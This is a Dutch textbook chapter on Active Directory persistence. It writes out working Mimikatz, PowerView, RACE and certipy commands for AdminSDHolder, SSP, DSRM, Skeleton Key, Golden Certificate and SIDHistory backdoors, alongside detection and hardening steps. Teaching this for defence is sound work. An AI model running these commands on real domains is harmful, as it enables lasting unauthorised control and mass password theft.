Persistentie

Waarin we leren dat inbreken slechts het begin is, dat de werkelijke kunst ligt in het nooit meer weggaan, en dat de meeste organisaties hun backdoors pas ontdekken wanneer het al veel te laat is — als ze ze al ontdekken.


Zaden planten in de tuin

Er is een bijzonder soort tuinman — niet degene die planten verzorgt, maar degene die onkruid plant. Slim onkruid. Het soort dat er precies uitziet als de rozen die er al stonden. Dat zijn wortels diep in de grond boort, zodat je het niet kunt uittrekken zonder de hele border overhoop te halen. Dat zelfs na het maaien, harken en vergiftigen weer terugkomt, omdat er ergens een wortelstok zit die je over het hoofd hebt gezien.

Persistentie in een Active Directory-omgeving werkt precies zo. Een aanvaller die domain admin heeft bereikt — via Kerberoasting, ADCS-misbruik, of welke route dan ook uit de voorgaande hoofdstukken — staat voor een keuze. Optie A: tevreden zijn met de huidige toegang en hopen dat niemand het wachtwoord reset, de machine herstart, of de sessie beëindigt. Optie B: mechanismen planten die ervoor zorgen dat je altijd terug kunt keren. Ongeacht password resets. Ongeacht patches. Ongeacht het hele incident response-team dat in paniek door het gebouw rent.

Elke serieuze aanvaller kiest optie B. Niet uit gretigheid, maar uit professionalisme — of, als we het vanuit de verdedigerskant bekijken, uit pure terreur.

Het fascinerende aan AD-persistentie is hoe diep je kunt graven. Een gecompromitteerd gebruikersaccount is vervelend. Een backdoor in LSASS is erger. Maar een wijziging in de security descriptors van Active Directory zelf? Dat is het soort persistentie dat overleeft na een volledige herinstallatie van elke workstation in het netwerk, omdat het probleem niet op de workstations zit — het zit in de directory zelf.

In dit hoofdstuk behandelen we vijf persistentiemechanismen die een aanvaller met domain admin-rechten kan implementeren. Elk is lastiger te detecteren dan het vorige, en elk vereist diepere kennis om te verwijderen. Van AdminSDHolder-manipulatie tot de Skeleton Key — welkom in de wereld waar de inbreker nooit meer weggaat.


Waarom persistentie?

Laten we beginnen met de vraag die elke verdediger zou moeten stellen: waarom zou een aanvaller moeite doen om persistentie te implementeren?

Het antwoord is pragmatisch. Toegang tot een netwerk is fragiel. Wachtwoorden worden gereset. Sessies verlopen. Machines worden herstart. Antivirus vindt je implant. Het incident response-team sluit je C2-kanaal af. Zonder persistentie begin je weer bij nul.

Maar met persistentie heb je een verzekeringspolis. Een achterdeur. Een geheime ingang die je kunt gebruiken wanneer alle andere deuren dichtgaan. En in een Active Directory-omgeving, waar duizenden objecten, honderden GPO’s en tientallen vertrouwensrelaties een complex web vormen, zijn er talloze plaatsen om die achterdeur te verstoppen.

De meest voorkomende scenario’s:

  1. Na een password reset campagne: Het beveiligingsteam dwingt alle gebruikers hun wachtwoord te wijzigen. Prima. Maar jouw AdminSDHolder-backdoor werkt nog steeds.
  2. Na het patchen van de initiële kwetsbaarheid: De VPN-kwetsbaarheid waardoor je binnenkwam is gepatcht. Maar je Skeleton Key in LSASS draait nog.
  3. Na het opschonen van werkstations: Alle systemen worden opnieuw geïmaged. Maar je security descriptor-wijzigingen zitten in AD zelf, niet op de werkstations.
  4. Na het ontdekken van je C2: Het SOC vindt je command-and-control kanaal en blokkeert het. Maar je DSRM-backdoor op de DC biedt een alternatieve route.

Persistentie is het verschil tussen een eenmalig incident en een chronische infectie. En chronische infecties zijn wat organisaties nachten wakker houdt.

Het MITRE ATT&CK perspectief

In het MITRE ATT&CK framework vallen de technieken in dit hoofdstuk onder de tactiek “Persistence” (TA0003) en deels onder “Defense Evasion” (TA0005). De specifieke technieken:

Methode MITRE ATT&CK ID Techniek
AdminSDHolder T1098.xxx Account Manipulation
Custom SSP T1547.005 Security Support Provider
DSRM T1098 Account Manipulation
Security Descriptors T1222.001 File and Directory Permissions Modification
Skeleton Key T1556.001 Modify Authentication Process
Golden Certificate T1649 Steal or Forge Authentication Certificates
DCShadow T1207 Rogue Domain Controller

Het verschil met eerdere tactieken is subtiel maar cruciaal. Bij Initial Access (TA0001) gaat het om binnenkomen. Bij Privilege Escalation (TA0004) om hoger komen. Bij Persistence gaat het om blijven. De aanvaller is al binnen, heeft al de hoogste rechten, en wil nu garanderen dat die situatie permanent is. Het is het verschil tussen een inbraak en een bezetting.

Persistentie als assumptie

Een volwassen beveiligingsteam werkt vanuit de aanname dat persistentie al geimplementeerd is. Bij elk incident is de eerste vraag niet “zijn ze binnen?” maar “hoe lang zijn ze al binnen, en wat hebben ze geplant?” Dit is de “assume breach” mentaliteit — en het vereist een fundamenteel andere aanpak dan traditionele perimeter-beveiliging.

De traditionele aanpak: “We patchen de kwetsbaarheid, resetten de wachtwoorden, en dan zijn we klaar.”

De volwassen aanpak: “We patchen de kwetsbaarheid, resetten de wachtwoorden, en dan beginnen we pas. Nu moeten we elke mogelijke persistentiemethode systematisch uitsluiten voordat we het incident als opgelost beschouwen.”

Die tweede aanpak duurt langer, kost meer, en vereist diepere expertise. Maar het is de enige die daadwerkelijk werkt.


AdminSDHolder

Het mechanisme

AdminSDHolder is een van de meest elegante persistentiemechanismen in Active Directory, en tegelijkertijd een van de minst begrepen. Om te begrijpen hoe het werkt, moeten we eerst begrijpen wat het beschermt.

Active Directory heeft een aantal “beschermde groepen” — Domain Admins, Enterprise Admins, Schema Admins, en een handvol anderen. Leden van deze groepen hebben zoveel macht dat Microsoft een speciaal mechanisme heeft bedacht om hun permissions te beschermen: SDProp (Security Descriptor Propagator).

SDProp draait elke 60 minuten op de PDC Emulator. Het doet iets eenvoudigs maar krachtig: het neemt de security descriptor (ACL) van het object CN=AdminSDHolder,CN=System,DC=domain,DC=local en kopieert die naar alle leden van beschermde groepen. Elke 60 minuten. Automatisch. Ongeacht wat er in de tussentijd is gewijzigd.

Het idee is verdedigend: zelfs als iemand per ongeluk de permissions op het Domain Admins-account wijzigt, herstelt SDProp ze binnen een uur. Slim.

Maar wat als je de permissions op AdminSDHolder zelf wijzigt?

De aanval

Als een aanvaller FullControl toevoegt aan het AdminSDHolder-object voor een gewoon gebruikersaccount, dan kopieert SDProp die permission naar alle beschermde groepen en hun leden. Elke 60 minuten. Automatisch. Het is alsof je een regel toevoegt aan de grondwet die zegt “Jan van de postkamer mag alles” — en die regel wordt elke uur automatisch opnieuw toegepast op alle overheidsinstellingen.

Stap 1: FullControl toevoegen aan AdminSDHolder

Import-Module .\PowerView.ps1

Add-DomainObjectAcl `
  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
  -PrincipalIdentity targetuser `
  -Rights All `
  -Verbose

Dit voegt een ACE (Access Control Entry) toe aan het AdminSDHolder-object die targetuser FullControl geeft.

Stap 2: SDProp forceren

Normaal wacht SDProp 60 minuten. Voor de ongedulige aanvaller:

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

Of handmatig via ldifde of dsmod. Na het forceren worden de permissions van AdminSDHolder gekopieerd naar alle beschermde objecten.

Stap 3: Verifieer de rechten

Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.IdentityReferenceName -match "targetuser"}

Als de output een ACE toont met FullControl voor targetuser op het Domain Admins-object, is de persistentie actief.

Stap 4: Misbruik — jezelf toevoegen aan Domain Admins

Nu het sappige deel. targetuser heeft nu FullControl op het Domain Admins-object, wat betekent dat hij leden kan toevoegen:

Add-DomainGroupMember -Identity 'Domain Admins' -Members targetuser -Verbose

Klaar. targetuser is nu domain admin. En zelfs als het beveiligingsteam je uit Domain Admins verwijdert en het wachtwoord reset — de AdminSDHolder-ACL is nog steeds actief. Na 60 minuten krijgt targetuser automatisch weer FullControl. Je kunt jezelf opnieuw toevoegen. Ad infinitum.

IB — Het persist_adminsdholder command bevat de volledige keten: PowerView importeren, ACL wijzigen, SDProp forceren, verifiëren, en misbruiken. Vervang targetuser door het account dat je als backdoor wilt gebruiken — bij voorkeur een onopvallend account dat er al lang is, niet een account dat je net hebt aangemaakt.

Waarom dit zo effectief is

  1. Het overleeft password resets: De ACL is gekoppeld aan de SID van het account, niet het wachtwoord.
  2. Het herstelt zichzelf: SDProp kopieert de permissions elke 60 minuten opnieuw. Zelfs als iemand de ACL op Domain Admins corrigeert, wordt de backdoor automatisch hersteld.
  3. Het is subtiel: Een extra ACE in een lange lijst van ACE’s op AdminSDHolder valt niet op, tenzij je specifiek zoekt.
  4. Het vereist geen malware: Geen bestand op disk. Geen proces in het geheugen. Alleen een wijziging in Active Directory.

Beschermde groepen

De volledige lijst van groepen die door SDProp beschermd worden:

Account Operators          Domain Admins
Administrator              Domain Controllers
Administrators             Enterprise Admins
Backup Operators           Print Operators
Domain Admins              Read-only Domain Controllers
Replicator                 Schema Admins
Server Operators

Een ACE op AdminSDHolder propageert naar al deze groepen en hun leden. Dat maakt de impact enorm: een enkele ACL-wijziging geeft je controle over het hele spectrum van beschermde accounts. Niet alleen Domain Admins — ook Backup Operators (die bestanden van de DC kunnen lezen), Server Operators (die services op de DC kunnen beheren), en Account Operators (die gebruikersaccounts kunnen aanmaken en wijzigen).

Subtielere varianten

In plaats van FullControl kun je ook specifiekere rechten toekennen die minder opvallen maar nog steeds bruikbaar zijn:

# Alleen WriteMember rechten (kan groepsleden wijzigen)
Add-DomainObjectAcl `
  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
  -PrincipalIdentity targetuser `
  -Rights WriteMembers `
  -Verbose

# Alleen GenericWrite (kan attributen wijzigen)
Add-DomainObjectAcl `
  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
  -PrincipalIdentity targetuser `
  -Rights GenericWrite `
  -Verbose

WriteMembers is voldoende om jezelf aan Domain Admins toe te voegen, maar valt minder op dan FullControl in een ACL-audit. Een ervaren aanvaller kiest het minimale recht dat nodig is — net genoeg om terug te keren, niet genoeg om alarm te triggeren.

AdminSDHolder detectie

De baseline is simpel: documenteer de ACL van AdminSDHolder in een schone omgeving en vergelijk regelmatig:

# Baseline vastleggen
$baseline = (Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access
$baseline | Export-Csv -Path C:\baseline\adminsdholder_acl.csv -NoTypeInformation

# Periodieke vergelijking
$current = (Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access
$diff = Compare-Object -ReferenceObject $baseline -DifferenceObject $current `
  -Property IdentityReference, ActiveDirectoryRights

if ($diff) {
    # ALARM: AdminSDHolder ACL is gewijzigd!
    Send-MailMessage -To "soc@domain.local" -Subject "AdminSDHolder ACL gewijzigd" `
      -Body ($diff | Out-String) -SmtpServer smtp.domain.local
}

Custom SSP

Cleartext wachtwoorden loggen

Als AdminSDHolder een stille, elegante backdoor is, dan is de Custom SSP een schreeuwend onbeschaamde. Dit mechanisme laadt een kwaadaardige Security Support Provider (SSP) in het LSASS-proces op de domain controller, waarna elk wachtwoord dat wordt ingevoerd — bij elke login, elke authenticatie — in cleartext wordt gelogd naar een bestand.

Elk. Wachtwoord. In. Cleartext.

Het is het digitale equivalent van een verborgen camera boven het toetsenbord van de kassa. Iedereen die inlogt — gebruiker, beheerder, service account — levert zijn wachtwoord in bij de aanvaller.

Methode 1: Persistent via registry

Deze methode overleeft een reboot, maar vereist dat je een bestand plaatst en het register wijzigt:

# mimilib.dll kopiëren naar System32 en registeren als SSP
$packages = Get-ItemProperty `
  HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ `
  -Name 'Security Packages' |
  select -ExpandProperty 'Security Packages'

$packages += "mimilib"

Set-ItemProperty `
  HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ `
  -Name 'Security Packages' -Value $packages

Set-ItemProperty `
  HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ `
  -Name 'Security Packages' -Value $packages

Na een reboot van de DC wordt mimilib.dll geladen als SSP in LSASS. Elke authenticatie wordt gelogd naar:

C:\Windows\system32\mimilsa.log

Het formaat is simpel: timestamp, gebruikersnaam, domein, wachtwoord. In cleartext. Alsof iemand een notitieboekje naast de voordeur legt en elke bezoeker vraagt zijn pincode op te schrijven.

Methode 2: In-memory inject

Geen reboot nodig. Geen bestand op disk (behalve de log). Direct actief:

Invoke-Mimikatz -Command '"misc::memssp"'

Dit injecteert de SSP direct in het LSASS-geheugen. Het nadeel: het overleeft geen reboot. Het voordeel: geen registerwijziging, geen DLL op disk, moeilijker te detecteren.

De credentials worden alsnog gelogd naar C:\Windows\system32\mimilsa.log.

IB — Het persist_custom_ssp command bevat beide methoden. De registry-methode is persistent maar zichtbaarder (bestand + registerwijziging). De in-memory methode is stealthier maar niet persistent. Kies op basis van je scenario.

Let op: Dit is een van de meest invasieve persistentietechnieken. Alle wachtwoorden van alle gebruikers worden in cleartext opgeslagen. Gebruik dit uitsluitend in gecontroleerde labomgevingen of met expliciete, gedocumenteerde toestemming.

Detectie en verdediging

Custom SSP’s zijn detecteerbaar, maar alleen als je weet waar je moet kijken:

  1. Registry monitoring: Wijzigingen aan HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages moeten een alarm triggeren.
  2. DLL monitoring: Nieuwe DLL’s in C:\Windows\System32 die als SSP geregistreerd worden.
  3. LSA Protection: Windows 8.1+ en Server 2012 R2+ ondersteunen LSA als Protected Process Light (PPL). Dit voorkomt dat ongetekende DLL’s in LSASS geladen worden:
# LSA Protection inschakelen
New-ItemProperty `
  -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -PropertyType DWORD
  1. Credential Guard: In Windows 10/Server 2016+ isoleert Credential Guard LSASS-secrets in een virtualized environment, waardoor zelfs een gecompromitteerde kernel ze niet kan benaderen.

Het cynische is dat de meeste organisaties geen van deze beschermingen ingeschakeld hebben. LSA Protection? “Dat breekt compatibiliteit met onze legacy-applicatie uit 2009.” Credential Guard? “We hebben geen Enterprise-licentie.” Registry monitoring? “Ons SIEM staat al op 40.000 events per seconde, we kunnen er niet meer bij.” En zo blijft de aanvaller wachtwoorden oogsten als een boer tijdens de oogst.


DSRM (Directory Services Restore Mode)

De vergeten achterdeur

Elke domain controller heeft een lokaal Administrator-account dat normaal niet gebruikt wordt: het DSRM-account. Dit account wordt aangemaakt wanneer de DC wordt gepromoveerd en is bedoeld voor noodherstel — wanneer Active Directory zelf niet meer werkt en je moet herstellen vanuit een backup.

Het DSRM-account is als een noodsleutel in een glazen kastje naast de branduitgang. Het is er voor noodgevallen. Niemand denkt eraan. Niemand controleert het. En het wachtwoord is waarschijnlijk nog hetzelfde als op de dag dat de DC vijf jaar geleden werd geïnstalleerd.

Maar het mooiste: het DSRM-account is lokaal. Het staat niet in Active Directory. Het wordt niet beïnvloed door domain-level password policies. Het wordt niet gereset bij “wijzig alle wachtwoorden” campagnes. Het is onzichtbaar voor de meeste monitoringtools.

De aanval

Stap 1: DSRM wachtwoord hash dumpen

Met domain admin-rechten en Mimikatz op de DC:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dc01

Dit dumpt de lokale SAM-database van de DC, inclusief de NTLM-hash van het DSRM Administrator-account. De output toont de hash van het lokale Administrator-account — dat is het DSRM-account.

Stap 2: Logon behavior aanpassen

Standaard kan het DSRM-account alleen inloggen wanneer de DC in DSRM-modus is opgestart (een speciale boot-modus). Maar een enkele registerwijziging verandert dat:

Enter-PSSession -ComputerName dc01

New-ItemProperty `
  "HKLM:\System\CurrentControlSet\Control\Lsa\" `
  -Name "DsrmAdminLogonBehavior" `
  -Value 2 `
  -PropertyType DWORD

Waarde 2 betekent: het DSRM-account kan altijd inloggen, niet alleen in DSRM-modus. Die ene registerwijziging transformeert een noodherstel-account in een permanente backdoor.

Stap 3: Pass the hash met het DSRM-account

Nu kun je op elk moment inloggen met de DSRM-hash:

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASH /run:powershell.exe"'

Let op de /domain:dc01 parameter. Dit is cruciaal: je authenticeert tegen de lokale SAM van dc01, niet tegen Active Directory. Het is een pass-the-hash aanval met een lokaal account. Je krijgt een PowerShell-sessie als de lokale Administrator van de DC — wat in de praktijk dezelfde rechten geeft als domain admin, aangezien je op de DC zelf zit.

IB — Het persist_dsrm command bevat alle drie de stappen. Vervang dc01 door de hostnaam van de doelmachine en DSRM_NTLM_HASH door de hash uit stap 1. Merk op dat je domain admin-rechten nodig hebt voor zowel de SAM-dump als de registerwijziging.

Waarom dit zo effectief is

  1. Onzichtbaar voor AD-monitoring: Het DSRM-account staat niet in Active Directory. SIEM-regels die kijken naar AD-authenticatie missen dit.
  2. Overleeft password resets: Het DSRM-wachtwoord wordt niet gereset door domain-level operaties.
  3. Overleeft account lockouts: Lokale accounts worden niet vergrendeld door domain-level lockout policies.
  4. Minimale voetafdruk: Eén registerwijziging. Geen bestand op disk. Geen nieuw account.

Verdediging


Security Descriptors

De onzichtbare backdoor

Security Descriptor-backdoors zijn misschien wel het meest elegante persistentiemechanisme in dit hoofdstuk. Ze wijzigen de toegangsrechten (ACLs) op WMI namespaces, PowerShell Remoting endpoints, of registry keys op de domain controller, zodat een gewone gebruiker acties kan uitvoeren die normaal admin-rechten vereisen.

Het briljante: er is geen malware. Geen bestand. Geen registersleutel (behalve voor de registry-backdoor variant). Geen proces. Alleen een wijziging in de security descriptor van een bestaand Windows-subsysteem. Het is alsof je de sloten op de deuren niet verandert, maar een extra sleutel bijmaakt die er precies uitziet als de originele.

RACE Toolkit

De RACE (Remote ACL-based Exploitation) toolkit van Nikhil Mittal automatiseert het hele proces.

WMI backdoor:

Import-Module .\RACE.ps1

Set-RemoteWMI -SamAccountName targetuser -ComputerName dc01 `
  -namespace 'root\cimv2' -Verbose

Dit wijzigt de security descriptor van de WMI namespace root\cimv2 op dc01, zodat targetuser remote WMI-queries kan uitvoeren — zonder admin-rechten. WMI geeft toegang tot vrijwel alles: processen, services, registry, event logs. Het is een volledige remote management interface.

PSRemoting backdoor:

Set-RemotePSRemoting -SamAccountName targetuser -ComputerName dc01 -Verbose

Dit wijzigt de security descriptor van de PowerShell Remoting (WinRM) endpoint op dc01. targetuser kan nu Enter-PSSession of Invoke-Command gebruiken om commando’s uit te voeren op de DC — als een gewone gebruiker, zonder admin-rechten.

Remote Registry backdoor:

Add-RemoteRegBackdoor -ComputerName dc01 -Trustee targetuser -Verbose

Dit geeft targetuser leesrechten op de remote registry van dc01, inclusief de SAM en Security hives. Daarmee kun je hashes extraheren:

# Machine account hash ophalen
Get-RemoteMachineAccountHash -ComputerName dc01 -Verbose

# Lokale account hashes ophalen (inclusief DSRM!)
Get-RemoteLocalAccountHash -ComputerName dc01 -Verbose

# Gecachte domain credentials
Get-RemoteCachedCredential -ComputerName dc01 -Verbose

IB — Het persist_security_descriptors command bevat alle RACE-toolkit commando’s. Na het plaasten van de backdoors kun je als targetuser — een gewoon gebruikersaccount — de DC op afstand beheren, hashes dumpen, en credentials verzamelen. Zonder tools op de DC. Zonder admin-rechten op dat moment.

De kracht van deze aanval

Wat deze methode zo bijzonder maakt, is wat er niet verandert:

De enige verandering is een ACE in de security descriptor van een WMI namespace of WinRM endpoint. Om dit te detecteren, moet je de security descriptors van deze subsystemen actief monitoren — iets wat vrijwel geen organisatie doet.

Detectie

# WMI namespace security descriptor controleren
$acl = Get-WmiObject -Namespace root\cimv2 -Class __SystemSecurity
$acl.GetSecurityDescriptor().Descriptor | Format-List

# WinRM security descriptor controleren
winrm get winrm/config/service

Zoek naar ACE’s die niet-admin gebruikers toegang geven tot deze subsystemen. In een standaardconfiguratie hebben alleen administrators en NETWORK SERVICE toegang.


Skeleton Key

Het master-wachtwoord

De Skeleton Key is het brutaalste persistentiemechanisme in het hele Active Directory-arsenaal. Het is zo brutaal dat het bijna komisch is. Het concept: je patcht het LSASS-proces op de domain controller zodat naast elk normaal wachtwoord ook een “master-wachtwoord” geaccepteerd wordt. Het standaard master-wachtwoord van Mimikatz? mimikatz. Geen sterretjes. Geen versleuteling. Gewoon het woord “mimikatz.”

Stel je voor: elke deur in het gebouw heeft een uniek slot. Elke medewerker heeft een eigen sleutel. Dat is normaal. Maar iemand heeft een loper gemaakt die in elk slot past. Niet door de sloten te vervangen — ze werken nog steeds met de originele sleutels — maar door ze zo aan te passen dat ze ook de loper accepteren. Het originele slot werkt nog. De originele sleutels werken nog. Maar er is nu een universele bijsleutel.

De aanval

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc01.domain.local

Dat is het. Eén regel. Na het uitvoeren werkt voor elk account in het domein — elke gebruiker, elke admin, elk service account — naast het echte wachtwoord ook het wachtwoord mimikatz.

Test de Skeleton Key:

Enter-PSSession -ComputerName dc01 -Credential domain\Administrator
# Wachtwoord: mimikatz

Je logt in als Administrator met het wachtwoord “mimikatz.” Het echte wachtwoord van Administrator werkt ook nog — niets is zichtbaar veranderd voor de eigenaar van het account. Maar de aanvaller heeft nu een universele sleutel.

LSASS als Protected Process

Moderne Windows-versies kunnen LSASS draaien als Protected Process Light (PPL), wat voorkomt dat ongetekende code het proces kan patchen. De Skeleton Key werkt dan niet direct. Maar Mimikatz heeft daar een antwoord op:

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

De !+ en !processprotect commando’s laden een kernel-driver die de PPL-bescherming verwijdert. Daarna kan de Skeleton Key alsnog geïnjecteerd worden. Het is alsof je het alarm uitschakelt voordat je inbreekt — technisch ingewikkelder, maar het eindresultaat is hetzelfde.

IB — Het persist_skeleton_key command bevat zowel de standaard injectie als de methode voor wanneer LSASS als protected process draait. Het standaard wachtwoord is mimikatz. Test altijd direct na injectie of het werkt — de injectie kan stil falen als LSASS-beschermingen actief zijn die Mimikatz niet omzeilt.

Beperkingen

De Skeleton Key heeft significante beperkingen vergeleken met de andere methoden in dit hoofdstuk:

  1. Niet persistent na reboot: De patch zit in het geheugen van LSASS. Een reboot van de DC verwijdert de Skeleton Key.
  2. Alleen op DC’s: De patch moet worden aangebracht op elke DC in het domein. Als het domein drie DC’s heeft, moet je het drie keer uitvoeren.
  3. AES niet ondersteund: De Skeleton Key ondersteunt standaard alleen RC4-encryptie. Als het domein AES-only afdwingt, werkt de techniek niet.
  4. Detecteerbaar via encryption downgrade: Authenticaties via de Skeleton Key gebruiken RC4 in plaats van AES. Dit is detecteerbaar als je Kerberos encryption types monitort.
  5. LSASS-instabiliteit: Het patchen van LSASS kan in zeldzame gevallen het proces laten crashen, wat de DC herstart.

Ondanks deze beperkingen is de Skeleton Key een krachtig wapen in het korte termijn. Het biedt universele toegang zonder bestanden, zonder registerwijzigingen, en zonder netwerk-artefacten — zolang de DC niet herstart wordt.

Skeleton Key technisch

Wat doet de Skeleton Key precies in LSASS? Het patcht de CDLocateCSystem en SamIRetrieveMultiplePrimaryCredentials functies in het geheugen. Normaal vergelijken deze functies het ingevoerde wachtwoord (of hash) met de opgeslagen hash in de AD-database. Na het patchen vergelijken ze het ook met een hardcoded hash — de RC4-hash van “mimikatz.”

Normale authenticatie:
  User input  ──> Hash ──> Vergelijk met AD-hash ──> Match? ──> Toegang

Na Skeleton Key:
  User input  ──> Hash ──> Vergelijk met AD-hash ──> Match? ──> Toegang
                       └──> Vergelijk met "mimikatz" hash ──> Match? ──> Toegang

Het is een OR-conditie. Het echte wachtwoord werkt. Het skeleton-wachtwoord werkt ook. En omdat het een in-memory patch is, staat er niets op disk dat een forensisch onderzoeker kan vinden — tenzij je een memory dump maakt van LSASS en de gewijzigde functies identificeert.

Detectie van Skeleton Key

De meest betrouwbare detectiemethode is het monitoren van Kerberos encryption types:

# Zoek naar RC4 (etype 23) TGT-aanvragen
# Skeleton Key forceert RC4 encryptie
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4769
} | Where-Object {
    $_.Message -match 'Ticket Encryption Type:.*0x17'
} | Select-Object TimeCreated, Message

In een moderne AD-omgeving die AES gebruikt (wat de standaard zou moeten zijn), is RC4-authenticatie al verdacht. Skeleton Key maakt het extra verdacht omdat alle authenticaties plots RC4 gebruiken — een patroon dat opvalt als je ernaar zoekt.

Andere detectiepunten: - Sysmon Event 10: Process Access naar lsass.exe met verdachte rechten - Event ID 7045: Nieuwe service geinstalleerd (als Mimikatz als service draait) - LSASS memory integrity: Tools als Windows Defender Credential Guard of HyperV-gebaseerde beveiliging die LSASS-patches detecteren


Andere persistentiemethoden

De vijf methoden hierboven zijn de “kroonjuwelen” van AD-persistentie, maar ze zijn niet de enige opties. Een kort overzicht van aanvullende technieken:

Scheduled Tasks en Services

De klassiekers. Een scheduled task die bij elke boot een reverse shell start, of een Windows service die een payload uitvoert. Simpel, effectief, maar ook relatief makkelijk te detecteren:

# Scheduled task op DC
schtasks /create /tn "SystemUpdate" /tr "powershell.exe -enc <BASE64>" `
  /sc onstart /ru SYSTEM /s dc01

# Service installeren
sc \\dc01 create backdoor binPath= "cmd /c powershell -enc <BASE64>" start= auto

Het nadeel: bestanden op disk, processen in het geheugen, en Sysmon/EDR ziet het vrijwel direct. Gebruik dit alleen als fallback.

Registry Run Keys

# HKLM Run key voor alle gebruikers
Set-ItemProperty `
  -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "SystemCheck" `
  -Value "powershell.exe -WindowStyle Hidden -enc <BASE64>"

Elke keer dat iemand inlogt op de machine, wordt je payload uitgevoerd. Zichtbaar voor elke beheerder die het register inspecteert, maar hoeveel beheerders doen dat regelmatig?

DCShadow

DCShadow is een geavanceerde techniek die een valse domain controller registreert in Active Directory, wijzigingen pusht via replicatie, en zichzelf daarna weer verwijdert. Het is als een spion die zich uitgeeft als diplomaat, een verdrag ondertekent, en weer vertrekt voordat iemand het doorheeft.

DCShadow kan gebruikt worden om: - Objectattributen te wijzigen (bijv. SIDHistory toevoegen) - ACL’s aan te passen - AdminSDHolder te modificeren - Alles wat via AD-replicatie gepusht kan worden

De kracht: wijzigingen via DCShadow verschijnen als normale replicatie. Er is geen direct spoor naar de bron, tenzij je replicatie-metadata gedetailleerd analyseert.

Golden Certificate

In het vorige hoofdstuk behandelden we ADCS. Een Golden Certificate is het persistentie-equivalent van een Golden Ticket: als je de private key van de Certificate Authority hebt, kun je voor altijd willekeurige certificaten uitgeven. Geen template nodig. Geen enrollment rechten nodig. Je bent de CA.

# CA private key exporteren (als DA)
certipy ca -backup -ca domain-CA -target dc01.domain.local \
  -u admin@domain.local -p 'Password!'

# Op elk moment een certificaat uitgeven
certipy forge -ca-pfx ca.pfx -upn Administrator@domain.local \
  -subject "CN=Administrator,CN=Users,DC=domain,DC=local"

Dit overleeft password resets, ticket rotatie, en zelfs het verwijderen van kwetsbare templates. Zolang de CA-key niet wordt gewisseld — wat een volledige PKI-herinstallatie vereist — blijft de aanvaller onkwetsbaar.

SIDHistory injection

Door de SID van de Enterprise Admins-groep toe te voegen aan het SIDHistory-attribuut van een gewoon account, krijgt dat account Enterprise Admin-rechten in het hele forest. Dit is persistent, subtiel, en overleeft password resets.

# Via Mimikatz
Invoke-Mimikatz -Command '"sid::add /sam:targetuser /new:S-1-5-21-...-519"'

SIDHistory was oorspronkelijk bedoeld voor migratiescenario’s: wanneer een gebruiker van het ene domein naar het andere verhuist, behoudt de SIDHistory de rechten uit het oude domein. Het is een elegant systeem met een verschrikkelijke bijwerking: niets voorkomt dat je de SID van een willekeurige groep toevoegt. En de SID van Enterprise Admins (RID 519) geeft rechten over het hele forest.

Vergelijking van methoden

                    Subtiliteit
                         ^
                         |
  Security Descriptors   |   AdminSDHolder
        ★                |        ★
                         |
                         |
      DSRM               |   Golden Certificate
        ★                |        ★
                         |
                         |
  Custom SSP (mem)       |   DCShadow
        ★                |        ★
                         |
                         |
  Skeleton Key           |   Scheduled Tasks
        ★                |        ★
                         +─────────────────────> Persistentie
                                                  (overleeft reboot)

De ideale persistentiemethode bevindt zich rechtsboven: subtiel en persistent. Security Descriptors en AdminSDHolder scoren hier het beste. De Skeleton Key is subtiel maar niet persistent. Scheduled Tasks zijn persistent maar niet subtiel. De keuze hangt af van je prioriteiten en de verdedigingscapaciteiten van het doelwit.


Detectie en verdediging

Het grotere plaatje

Persistentie detecteren is als het zoeken naar een naald in een hooiberg, behalve dat de naald er precies uitziet als stro. Elke methode in dit hoofdstuk misbruikt legitieme Windows-functionaliteit. AdminSDHolder moet permissions propageren — dat is zijn functie. LSASS moet SSP’s laden. Het DSRM-account moet bestaan. De verdediger moet onderscheid maken tussen normaal gebruik en misbruik van dezelfde mechanismen.

Detectiematrix

Methode Detectiepunt Event ID Moeilijkheid
AdminSDHolder ACL-wijziging op AdminSDHolder object 5136 (Directory Service Changes) Gemiddeld
Custom SSP Registry wijziging of DLL loading in LSASS Sysmon Event 13 (Registry) Gemiddeld
DSRM DsrmAdminLogonBehavior registerwijziging Sysmon Event 13 Laag
Security Descriptors ACL-wijziging op WMI/WinRM/Registry WMI: Event 4662 Hoog
Skeleton Key RC4 downgrade in Kerberos authenticatie 4769 (TGS Request) met RC4 Gemiddeld
DCShadow Onverwachte replicatie-partner 4928/4929 (Replication) Hoog
Golden Certificate Certificaten niet in CA-database CA audit logs Hoog

Verdedigingslagen

Laag 1: Preventie

# LSA Protection inschakelen
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -PropertyType DWORD

# Credential Guard inschakelen (via Group Policy)
# Computer Configuration > Administrative Templates > System > Device Guard
# > Turn On Virtualization Based Security > Credential Guard: Enabled

LSA Protection voorkomt Custom SSP en Skeleton Key. Credential Guard isoleert credentials zodat zelfs een gecompromitteerde kernel ze niet kan benaderen.

Laag 2: Monitoring

De absolute minimum-set aan monitoring voor persistentiedetectie:

# Sysmon configuratie (relevant excerpts)
- Event 13: Registry value wijzigingen
  Filter op: \Control\Lsa\Security Packages
  Filter op: \Control\Lsa\DsrmAdminLogonBehavior

# Windows Security Event Log
